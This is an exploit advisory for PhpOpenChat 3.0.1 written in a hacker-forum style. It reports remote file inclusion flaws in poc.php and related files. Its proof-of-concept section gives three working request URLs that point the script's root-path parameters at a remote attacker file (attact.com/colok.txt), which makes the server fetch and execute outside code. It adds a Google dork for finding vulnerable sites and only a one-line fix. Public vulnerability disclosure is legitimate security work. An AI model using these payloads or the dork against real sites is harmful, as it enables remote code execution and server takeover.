--------------------------------------------------
PhpOpenChat <= 3.0.1 (poc.php) Multiple Remote File Include Vulnerabilities
--------------------------------------------------

Author		: SekoMirza
Date Found	: Nisan 11 2007
Location	: Fransa // ... 
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
--------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~
Application	: PhpOpenChat
version		: 3.0.1
vendor		: http://phpopenchat.org/
source url      : http://phpopenchat.org/tr.tar.gz?PHPSESSID=3f694b033a2798aac446b05f87e361ce
--------------------------------------------------

Description:
~~~~~~~~

PHPOpenChat is a high performance php-based chat server software for a live chat-room or -module on every php-based site. The first version has been developed for a live-chat-subproject of the main german education portal (DBS) called "SchulWeb". The PHPOpenChat have had to manage alot of users, around 100-150 concurrent chatters, the most behind firewalls and in front of old computers. Based on this experiences, we developed the version 3 of our free chat-server completely new from scratch.
At this time you can integrate this chat software into postnuke, phpbb, yabbse, etc. as a module. 

--------------------------------------------------

Vulnerability:
~~~~~~~~~~~

I found vulnerability script in poc.php


Proof Of Concept:
~~~~~~~~~~~~

contrib/phpbb/poc.php?phpbb_root_path=http://attact.com/colok.txt?
contrib/phpbb/poc.php?poc_root_path=http://attact.com/colok.txt?
contrib/phpbb/alternative2/phpBB2_root/poc_loginform.php?phpbb_root_path=http://attact.com/colok.txt?

--------------------------------------------------

google d0rk:
~~~~~~~
"PhpOpenChat"

--------------------------------------------------
Solution:
~~~
- download new version in vendor URL 

--------------------------------------------------
Shoutz:
~~
~ My  Sweet       -> Caramel 
~ For Mp3s        -> Hypn0sis
~ For Support     -> www.starhack.org
~ My  Bro         -> PhantomOrchid
~ My  Preceptor   -> Erank Kazno